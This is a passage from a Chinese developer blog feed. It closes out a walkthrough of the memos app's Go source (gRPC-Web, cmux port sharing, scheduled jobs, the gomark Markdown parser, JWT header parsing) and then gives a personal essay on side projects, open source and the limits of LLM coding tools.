style="color:#d2a8ff;font-weight:bold">WithCorsForRegisteredEndpointsOnly</span>(<span style="color:#79c0ff">false</span>), </span></span><span style="display:flex;"><span> grpcweb.<span style="color:#d2a8ff;font-weight:bold">WithOriginFunc</span>(<span style="color:#ff7b72">func</span>(_ <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">bool</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">true</span> </span></span><span style="display:flex;"><span> }), </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> wrappedGrpc <span style="color:#ff7b72;font-weight:bold">:=</span> grpcweb.<span style="color:#d2a8ff;font-weight:bold">WrapServer</span>(s.grpcServer, options<span style="color:#ff7b72;font-weight:bold">...</span>) </span></span><span style="display:flex;"><span> echoServer.<span style="color:#d2a8ff;font-weight:bold">Any</span>(<span style="color:#a5d6ff">&#34;/memos.api.v1.*&#34;</span>, echo.<span style="color:#d2a8ff;font-weight:bold">WrapHandler</span>(wrappedGrpc)) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>下面还声明了一个 gRPC Web Proxy,这个是用 HTTP 的方式来调 gRPC。使用的 <code>grpcweb</code> 包,调用接口传参并不是用的 Query 或者 Body,而是 protobuf 将参数序列化后再发送那套。跟走纯 TCP 相比,仅仅只是这里走的是 HTTP 请求而已。换句话说,就是让浏览器能跟 gRPC Server 通信了。</p> <p>而浏览器中调用会有同源跨域的问题,所以可以看到这里的 <code>grpcweb.Option</code> 也是逐重解决 CORS å’Œ Origin。</p> <p>希望看到这里你没被绕晕。你会发现,<strong>memos 其实是用 HTTP 实现了两套服务:RESTful API å’Œ gRPC Server API</strong>。这两套背后的业务逻辑都是一样的,且都是使用 HTTP 协议,不同点在于路由和传参的方式不一样。</p> <h3 id="端口复用">端口复用</h3> <p>有个比较抽象的小细节不知道你发现了没有,gRPC Server -&gt; gRPC Server API 只需要用 grpcweb 包一下就行了,但 RESTful API 需要再本地建一个 gRPC Client,然后这个 Client 自己请求本地的 Server。整条链路是 HTTP Mux -&gt; Handler Func -&gt; gRPC Client -&gt; gRPC Server。而这个 gRPC Client 监听的端口,居然与对外的 HTTP 服务的端口是一样的!</p> <p>换句话说,就是 <strong>gRPC Server å’Œ echo HTTP Server 复用了同一个端口</strong>。</p> <p>这里是使用了 <a href="http://github.com/soheilhy/cmux">github.com/soheilhy/cmux</a> 这个库来实现。这个库支持定义 Matcher 条件,哪个匹配上了就走哪个的 Serve。</p> <p>像 gRPC Server 在通过 HTTP 调用时,通过 Body 发送 Protobuf 报文,<code>Content-Type</code> 为 <code>application/grpc</code>;而 RESTful API 则是常规的 HTTP 请求,除了 <code>PATCH</code> 方法外都会命中。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>muxServer <span style="color:#ff7b72;font-weight:bold">:=</span> cmux.<span style="color:#d2a8ff;font-weight:bold">New</span>(listener) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() { </span></span><span style="display:flex;"><span> grpcListener <span style="color:#ff7b72;font-weight:bold">:=</span> muxServer.<span style="color:#d2a8ff;font-weight:bold">MatchWithWriters</span>(cmux.<span style="color:#d2a8ff;font-weight:bold">HTTP2MatchHeaderFieldSendSettings</span>(<span style="color:#a5d6ff">&#34;content-type&#34;</span>, <span style="color:#a5d6ff">&#34;application/grpc&#34;</span>)) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> s.grpcServer.<span style="color:#d2a8ff;font-weight:bold">Serve</span>(grpcListener); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> slog.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;failed to serve gRPC&#34;</span>, <span style="color:#a5d6ff">&#34;error&#34;</span>, err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>}() </span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() { </span></span><span style="display:flex;"><span> httpListener <span style="color:#ff7b72;font-weight:bold">:=</span> muxServer.<span style="color:#d2a8ff;font-weight:bold">Match</span>(cmux.<span style="color:#d2a8ff;font-weight:bold">HTTP1Fast</span>(http.MethodPatch)) </span></span><span style="display:flex;"><span> s.echoServer.Listener = httpListener </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> s.echoServer.<span style="color:#d2a8ff;font-weight:bold">Start</span>(address); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> slog.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;failed to start echo server&#34;</span>, <span style="color:#a5d6ff">&#34;error&#34;</span>, err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>}() </span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> muxServer.<span style="color:#d2a8ff;font-weight:bold">Serve</span>(); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> slog.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;mux server listen error&#34;</span>, <span style="color:#a5d6ff">&#34;error&#34;</span>, err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>}() </span></span></code></pre></div><p>这里对 gRPC 的操作属实妙哉!端口复用的操作更是一绝。想起我之前有个 Side Project,既需要跑对外的 Web Server 后端,又需要跑对内的 API Server 后端,当时的做法是监听两个不同端口,现在想来可以用 cmux 来实现端口复用了。</p> <h3 id="梦开始的地方">梦开始的地方</h3> <p>那么请问,上述这种教科书级别的 Protobuf å’Œ gRPC 的用法,是来自于哪里的呢?</p> <p>我观察到 memos 的作者居然也给 Bytebase 提交过代码,好家伙,老熟人啊。同时,我在 Bytebase 的仓库里,找到了 <a href="https://github.com/bytebase/bytebase/pull/3751">#3751</a> 这个 PR。<del>(万恶之源)</del></p> <p>在 2022 å¹´ 12 月(好像就是 DevJoy 结束后一个月),Bytebase 仓库引入了第一个 proto 文件。从此便一发不可收拾,原先的 Web API 全都变成了 gRPC Server 的写法,同时也开始使用 Buf 来管理 proto 文件。memos 的作者作为后面加入 Bytebase 的员工,也是将 Bytebase 对于 gRPC 的最佳实践,用在了他的 Side Project,也就是 memos 中。</p> <p>我想大概是这么个故事情节吧。😁</p> <h2 id="定时任务">定时任务</h2> <p>memos 内部自行实现了三个很基础的定时任务。为什么说很基础呢,因为就是使用 <code>time.NewTicker</code> 来做的。每个定时任务的 Runner 都会实现 <code>Run()</code> å’Œ <code>RunOnce()</code> 两个方法,这里可能可以定义成一个接口?</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (r <span style="color:#ff7b72;font-weight:bold">*</span>Runner) <span style="color:#d2a8ff;font-weight:bold">Run</span>(ctx context.Context) { </span></span><span style="display:flex;"><span> ticker <span style="color:#ff7b72;font-weight:bold">:=</span> time.<span style="color:#d2a8ff;font-weight:bold">NewTicker</span>(runnerInterval) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">defer</span> ticker.<span style="color:#d2a8ff;font-weight:bold">Stop</span>() </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">select</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#ff7b72;font-weight:bold">&lt;-</span>ticker.C: </span></span><span style="display:flex;"><span> r.<span style="color:#d2a8ff;font-weight:bold">RunOnce</span>(ctx) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#ff7b72;font-weight:bold">&lt;-</span>ctx.<span style="color:#d2a8ff;font-weight:bold">Done</span>(): </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>三个定时任务分别是 <code>s3presign</code> <code>version</code> <code>memopreperty</code> 。</p> <ul> <li> <p><code>s3presign</code> 每 12 个小时遍历一波数据库中存储的上传到 S3 的资源,将临时 URL 有效期不到一天的资源,重新调用 S3 SDK 中的 PreSign 签一个五天的临时 URL。memos 在数据库中存储图片等资源的临时 URL,感觉是为了防止私有笔记中的资源 URL 泄露。使用 PreSign URL 后,即使将公开笔记转为私有,之前的链接在五天后也就过期了。</p> </li> <li> <p><code>version</code> 每 8 个小时请求 memos 自己的 API 获取当前 memos 的最新版本。判断版本落后并且数据库中之前还没有过版本更新提醒的话,就新增一条 <code>Activity</code> 记录,并将该 <code>Activity</code> 加到管理员账号的 Inbox 收件箱中。让管理员收到版本更新的消息。</p> <p>其中 <code>GetLatestVersion</code> 获取最新版本的函数,解析请求体这里,感觉可以进一步精简成一行。</p> <p><strong>BEFORE</strong></p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>buf <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72;font-weight:bold">&amp;</span>bytes.Buffer{} </span></span><span style="display:flex;"><span>_, err = buf.<span style="color:#d2a8ff;font-weight:bold">ReadFrom</span>(response.Body) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">&#34;&#34;</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;fail to read response body&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>version <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#a5d6ff">&#34;&#34;</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err = json.<span style="color:#d2a8ff;font-weight:bold">Unmarshal</span>(buf.<span style="color:#d2a8ff;font-weight:bold">Bytes</span>(), <span style="color:#ff7b72;font-weight:bold">&amp;</span>version); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">&#34;&#34;</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;fail to unmarshal get version response&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p><strong>AFTER</strong></p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>json.<span style="color:#d2a8ff;font-weight:bold">NewDecoder</span>(response.Body).<span style="color:#d2a8ff;font-weight:bold">Decode</span>(<span style="color:#ff7b72;font-weight:bold">&amp;</span>version) </span></span></code></pre></div></li> <li> <p><code>memopreperty</code> 每 12 小时遍历一遍所有 Payload 为空的 memos 笔记,从它的内容中解析出 Tag、链接、代码块等属性,保存到 memos çš„ Property 中。这个函数在创建、修改、更新 MemoTag 时都会调用。额外加到定时任务中出发,应该是为了兜底。</p> </li> </ul> <h2 id="gomark">gomark</h2> <p>对于用户每一篇文本笔记,memos 都会使用 <a href="https://github.com/usememos/gomark">github.com/usememos/gomark</a> 库来做结构化的解析。将文本内容解析成不同类型的 Go 结构体块,以实现将 Markdown 格式转纯文本、笔记 Tag 提取等功能。</p> <p>这里简单拆解一下这个包的结构和原理,本质上又是把文本进行词法分析转换为 Tokens,构建 AST 抽象语法树,然后通过遍历 AST 实现上述提到的功能。gomark 好就好在他功能简单但全面,很适合像我这种从没学过编译原理的菜鸡。</p> <p><code>parser/tokenizer/tokenizers.go</code> 中定义了各种 Token 的类型,如下划线、星号、井号、空格、换行等,基本上就是在 Markdown 中含有语义成分的字符,都会作为一个 Token 类型。正文内容分为 <code>Number</code> æ•°å­—å’Œ <code>Text</code> 文本两种 Token 类型。</p> <p><code>Tokenize(text string) []*Token</code> 函数就是很标准的传入 <code>text</code> 字符串,挨个字符 switch-case,然后转换为 Token 结构体添加到切片中。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> prevToken <span style="color:#ff7b72;font-weight:bold">*</span>Token </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> len(tokens) &gt; <span style="color:#a5d6ff">0</span> { </span></span><span style="display:flex;"><span> prevToken = tokens[len(tokens)<span style="color:#ff7b72;font-weight:bold">-</span><span style="color:#a5d6ff">1</span>] </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>isNumber <span style="color:#ff7b72;font-weight:bold">:=</span> c <span style="color:#ff7b72;font-weight:bold">&gt;=</span> <span style="color:#a5d6ff">&#39;0&#39;</span> <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> c <span style="color:#ff7b72;font-weight:bold">&lt;=</span> <span style="color:#a5d6ff">&#39;9&#39;</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> prevToken <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (prevToken.Type <span style="color:#ff7b72;font-weight:bold">==</span> Text <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> !isNumber) <span style="color:#ff7b72;font-weight:bold">||</span> (prevToken.Type <span style="color:#ff7b72;font-weight:bold">==</span> Number <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> isNumber) { </span></span><span style="display:flex;"><span> prevToken.Value <span style="color:#ff7b72;font-weight:bold">+=</span> string(c) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">continue</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> isNumber { </span></span><span style="display:flex;"><span> tokens = append(tokens, <span style="color:#d2a8ff;font-weight:bold">NewToken</span>(Number, string(c))) </span></span><span style="display:flex;"><span>} <span style="color:#ff7b72">else</span> { </span></span><span style="display:flex;"><span> tokens = append(tokens, <span style="color:#d2a8ff;font-weight:bold">NewToken</span>(Text, string(c))) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>对于不在上述 Markdown 语义中的字符,则判断是否为数字 0-9,如果是的话说明是一个 <code>Number</code> æ•°å­— Token,同时还需要看下上一个 Token 是不是也是数字,如果是的话他俩就是挨一起的,共同组成了一个 <code>Number</code> Token。<code>Text</code> 文本 Token 也是一样的逻辑,将挨着的文本字符统一为一个 <code>Text</code> Token。</p> <p>Token 拆分完后,就开始构建 AST 了。</p> <p><code>ast</code> 目录下有 <code>inline.go</code> å’Œ <code>block.go</code> 两个文件。前者定义了单个节点类型,如普通的文本节点、加粗、斜体、链接、井号标签等;后者定义了多个普通节点组成的集合节点,如段落、代码块、标题、有序无需列表、复选框等。</p> <p><code>parser/parser.go</code> 里定义的 <code>ParseXXX</code> 函数将第一步的 <code>[]*tokenizer.Token</code> 解析成 <code>[]ast.Node</code> 。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>nodes <span style="color:#ff7b72;font-weight:bold">:=</span> []ast.Node{} </span></span><span style="display:flex;"><span><span style="color:#ff7b72">for</span> len(tokens) &gt; <span style="color:#a5d6ff">0</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, blockParser <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> blockParsers { </span></span><span style="display:flex;"><span> node, size <span style="color:#ff7b72;font-weight:bold">:=</span> blockParser.<span style="color:#d2a8ff;font-weight:bold">Match</span>(tokens) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> node <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> size <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#a5d6ff">0</span> { </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Consume matched tokens.</span> </span></span><span style="display:flex;"><span> tokens = tokens[size:] </span></span><span style="display:flex;"><span> nodes = append(nodes, node) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">break</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>本质上也还是将 Tokens 丢给所有的 <code>BlockParser</code> 在 for 循环里过一遍, <code>BlockParser</code> 接口实现 <code>Match()</code> 方法,不同的 Node 会一次性读取不同数量的 Tokens,判断格式是否满足 Node 的要求,来确定这些 Tokens 是否组成了这个 Node。Match 上了则会返回生成的 Node 和匹配上的 Tokens 长度,截去这个 Node 匹配的 Tokens,剩下的 Tokens 继续轮一遍所有的 <code>BlockParser</code>。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> defaultInlineParsers = []InlineParser{ </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewEscapingCharacterParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewHTMLElementParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewBoldItalicParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewImageParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewReferencedContentParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewTagParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewStrikethroughParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewLineBreakParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewTextParser</span>(), </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>值得注意的是,这些 <code>BlockParser</code> 的顺序应该是有讲究的。像最普通的、最容易匹配上的 <code>Text</code> 纯文本类型,应该放在最后。当前面所有的 Parser 都没匹配上时,才说明这个 Token 是文本类型的 Node。如果把 <code>TextParser</code> 放最前面,那估计所有的 Tokens 都会被匹配成文本 Node。</p> <p>å°† Tokens 转换为 AST 上的 Nodes 后,最后还有个 <code>mergeListItemNodes</code> 函数,是用来特殊处理 <code>List</code> 列表节点的。如在列表的最后加上换行符,判断列表项是要拆成两个列表节点还是添加到末尾。</p> <p><code>renderer</code> 目录则是遍历上述 AST 中的节点,来将 AST 转换成 HTML 或者 String 纯文本。这里就很简单了,不同的节点调不同的函数 <code>WriteString</code> 即可。</p> <p>综上,<code>gomark</code> 就完成了将 Markdown 格式文本,解析转换成 HTML 或 String 纯文本的工作。</p> <h2 id="其它的小细节">其它的小细节</h2> <p>最后再说些自己发现的小细节吧,就不单独分一块了。</p> <h3 id="前端-embed-indexhtml">前端 embed index.html</h3> <p>随着 Go Embed 功能加入后,我很喜欢将 Vue 编译后的前端打包进 Go Binary 中。往往是会在 <code>web</code> 或者 <code>frontend</code> 前端代码路径下,保留放编译产物的 <code>dist</code> 目录,在里面放个 gitkeep 文件啥的。</p> <p>memos 的做法是放置了一个 <code>frontend/dist/index.html</code> 文件:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#8b949e;font-weight:bold;font-style:italic">&lt;!DOCTYPE html&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#7ee787">html</span> lang<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;en&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#7ee787">head</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#7ee787">meta</span> charset<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;UTF-8&#34;</span> /&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#7ee787">meta</span> name<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;viewport&#34;</span> content<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;width=device-width, initial-scale=1.0&#34;</span> /&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#7ee787">title</span>&gt;Memos&lt;/<span style="color:#7ee787">title</span>&gt; </span></span><span style="display:flex;"><span> &lt;/<span style="color:#7ee787">head</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#7ee787">body</span>&gt; </span></span><span style="display:flex;"><span> No embeddable frontend found. </span></span><span style="display:flex;"><span> &lt;/<span style="color:#7ee787">body</span>&gt; </span></span><span style="display:flex;"><span>&lt;/<span style="color:#7ee787">html</span>&gt; </span></span></code></pre></div><p>直接在 Body 中写明了前端嵌入文件不存在。这样既可以通过编译,如若用户访问时,前端真没有被打包进来,在 index.html 也会有一个错误提示,比我只放一个不会被读到的 gitkeep 好些。</p> <h3 id="jwt-token-解析">JWT Token 解析</h3> <p>memos 使用 JWT Token 鉴权。因此需要解析通过 <code>Authorization</code> 头传进来的形如 <code>Bearer xxxx</code> 内容。问题是用户可能在 <code>Bearer</code> å’Œ Token 之间传入不定数量的空格,甚至在 <code>Bearer</code> 前或者 <code>xxx</code> 后也会有空格。</p> <p>要是我的话,可能就先 <code>strings.TrimSpace</code> ,再 <code>strings.Split</code> 按空格分隔,然后再取判断长度,取第一个元素和最后一个元素,即为 <code>Bearer</code> å’Œ Token。memos 里直接使用了 <code>strings.Fields</code> 包来做到这一点,直接解决了上述可能存在的问题。后面要做的仅仅只有判断切片长度是否为 <code>2</code> 即可。</p> <h2 id="总结">总结</h2> <p>以上便是我之前阅读 memos 源码的一些心得体会。由于时间关系,我并没有很仔细的去阅读每一个文件的每一行代码,也没去审是否有潜在的安全漏洞。memos 的前端是使用 React 编写的,由于我平时不怎么写 React,所以前端这块也只是粗略的翻了翻。</p> <p>memos 还是有很多可圈可点之处的,学到很多。貌似作者其它的开源项目也都有使用 memos 这种黑白动物风格的 Logo,相当于是一套统一的品牌。我对 AI 生成产品 Logo 这方面也挺感兴趣的,因为自己实在设计不来一个好看的 Logo&hellip;&hellip; 之后这块可以多研究下。</p>深夜随笔https://github.red/focus-is-all-you-need/Fri, 10 Jan 2025 02:24:05 +0800https://github.red/focus-is-all-you-need/<p>原本是打算写一篇技术文章来记录之前阅读某个项目源码的心得体会。但由于今天是工作日,白天还要上班,要是真当一篇技术文章来写,估计就要凌晨四五点才睡了。</p> <p>我以前写过那些颇有创意的文章,往往是从半个月前就有了点子,然后找一整个空闲的周末给它一口气写完。至于文章有没有技术含量,有多少阅读量,我也不关心,自己享受的是那洋洋洒洒几千字后的成就感。我感觉在如今这个时代,搭建个人网站写点文字性质的东西颇有点孤芳自赏的意味。在我读高中那会,是有在运营一个自己的微信公众号的。当时我的重心都放在公众号那边,这个博客里早些年的文章,也是从公众号那边复制过来的。</p> <p>后来觉得微信公众号的文字排版不好看,布局也不自由,我更喜欢个人网站这种像 QQ 空间一样可以随意装扮的形式,遂放弃了公众号,开始专心往博客里填东西,也开始注重每篇博客的标题和头图,好让整个页面看起来显得内容丰满。我感觉未来很长一段时间还是会保持现在这种状态,我在互联网的一个孤岛上自娱自乐,几乎不会有陌生人发现这个岛屿。</p> <p>我认识的朋友有在运营自己的B站、小红书、公众号,他们会把自己发的一条帖子在多个平台都一模一样地发一遍,还会根据不同平台的用户属性,修改帖子的措辞。我也有想过将自己平时在空间动态发的一些有意思的信息或者抖机灵的段子,在不同的平台发发,好恰一波流量。但这也都只是想想,我不是很喜欢对外高调宣传自己。以前有尝试过给我的开源项目拉过一个交流群,但进群的大多都是技术和人品都不在一个层次的伸手党,这让我备受打击。我很想多结识一些圈子外的人,但是又害怕遇到蠢货。(因为我上周就遇到了个蠢货,但我又碍于面子不好直接喷,只能自己生闷气)</p> <p>过去的一年,我在闲暇时间写了不少有意思的小东西:</p> <ul> <li>toma:iOS 设备端拖微信小程序并自动分析</li> <li>odoc:降本不增效的 CMS</li> <li>echo:用 daisyui 开发的博客评论前端</li> <li>Sayrud:不用写代码只要点点点就可以实现 RESTful API</li> <li>ikD:基于 Traefik 的集群服务统一认证插件</li> <li>fusion:集合了短信推送、邮件推送、滑动验证码、支付的中台服务</li> <li>TakoChat:使用 Go + Semi Design 做的 LLM 套壳站,背后套的腾讯混元大模型</li> <li>db-carry:只需配置三行 URL 快速实现 SSH 隧道连接数据库并备份到对象存储</li> </ul> <p>除了上面列举的这些,还有几个因为各种原因不方便透露的。但它们都有一个特点,那就是:</p> <p><strong>它们都不开源。</strong></p> <p>要说不开源的理由嘛,一是我觉得这些都是玩具性质的项目,开源出来感觉很羞耻。二是我觉得万一被有心之人看到了,简单二开一下拿去恰烂钱了。不管从哪方面来说,我感觉开源对我而言都没有好处。以上的这种观点可能是对几年前的自己的一种背叛,但我只能感慨时代变了,那些“顺风顺水”“手到擒来”的日子已一去不复返了。</p> <p>换个角度来说,上面这些项目,有很大一部分都是 CRUD,顶多的是在 CRUD 的基础上,再辅佐一点额外的技术。我也在怀疑自己的优势是不是仅仅是我写的 CRUD 代码质量比别人好。别人写得代码丑陋,连 Lint 都过不了,但是我有注释会换行,命名统一封装得当。是不是仅此而已呢?那要是这样,别人是不是认真钻研一下,也就能替代我了?这是我时常自我怀疑和 emo 的一个点。</p> <p>当下,大模型的发展也让这一层差距变得更加模糊。我在网上看到了太多人宣称用 GitHub Copilot Chat、Cursor、Windsurf 等工具可以不用谢代码快速开发出一个 xxx。但令我感到不解的是,我自己使用的时候,怎么就没这么神了?</p> <p>我猜测应该是那些人在使用这些工具时,都是从零开始新建一个文件夹,然后指挥大模型在这个空白的画布上尽情绘画。大模型会用它熟悉的方式和写法,来替你出色地完成需求。你让它写前端,如果你不说太详细,它就真只给你写个 HTML å’Œ JavaScript 文件。它不大会考虑到用现代的前端工具链。我感觉大模型编码在对项目的宏观把控,以及是对项目未来可能产生的需求,它的理解是不够的。它第一次可以给你想要的东西,而当你索取更多的东西时,它会在已有的代码上尝试修改,你提出更多的需求,它就继续修改。这个重复的过程通常来说是没问题的。但我相信未来总会到一个点,你发现大模型无论怎么给你修改代码,都没法再实现你新的需求了,或者是它给你实现了新需求 B,但上次提出的需求 A 又被改没了。</p> <p>这就是我在尝试使用大模型帮我开发 App 时遇到的问题。我对开发 App 一窍不通,很多次想要从零开始学习,刚跑起来 Hello World 就干别的去了。准备跟风让大模型帮我写个 App,第一版出来确实效果还行,但是我对页面有洁癖,但凡有操作不顺或者特效样式感觉不舒服不流畅的地方,都会让大模型帮我改。这就导致了改好了 B,又改好了 C,之前的 A 又不行了。最终只能我自己沉下心来看代码,手动将代码的大方向调整了下,这才让上述重复的过程能得以持续。但过了几轮对话下来,它又不行了。这导致我用了整整一个下午加一个晚上的时间,才终于写出了第一个符合我想法的页面。这个过程一点也不轻松,反倒是给我气得不行。那些在 Twitter 或者小红书上吹嘘无脑指挥大模型完成整个项目的人,你们一开始在脑子里就没有一个具体的标准,大模型给你写个勉强 80 分的东西,你也就凑合着用了。至于什么配色不对,区块没对齐,组件太宽或太窄,项目结构不合理,这些问题统统就被你们给无视了!反正又不是不能用。</p> <p>可悲的是,我心里想得是 100 分,我忍受不了大模型的 80 分,我自己写却只有 0 分(总是中途就放弃了)。所以如果你能反驳我并指出我的错误,甚至能向我展示大模型确实能做到 100 分,我感激不尽。</p> <p>大模型的概念被炒的正火,什么牛鬼蛇神就都出来了,现在也正是最浮躁的时候。有人风口捞钱,有人辞职创业,有人狂蹭热点,有人不要颜面。这个时候去争去辩去骂没什么用处,待到潮水退去,谁没穿裤子一目了然。当然我也叠个甲,这并不是在自命清高,只是我作为非既得利益者的嫉妒罢了。😁</p> <p>我发现之前写的挺多东西,后面基本都不常维护了,究其原因是我自己平时也不会去用这些东西。我在探索如何做一款 dogfooding 的产品,我日常会去用它,这样自己就能提一些新需求并持续迭代完善了。自己还是太容易被一些风吹草动给影响了,总会想些有的没的,然后陷入自我否定和怀疑。但有时得到正反馈以后又会感觉自己牛逼炸了,是天选之子。</p> 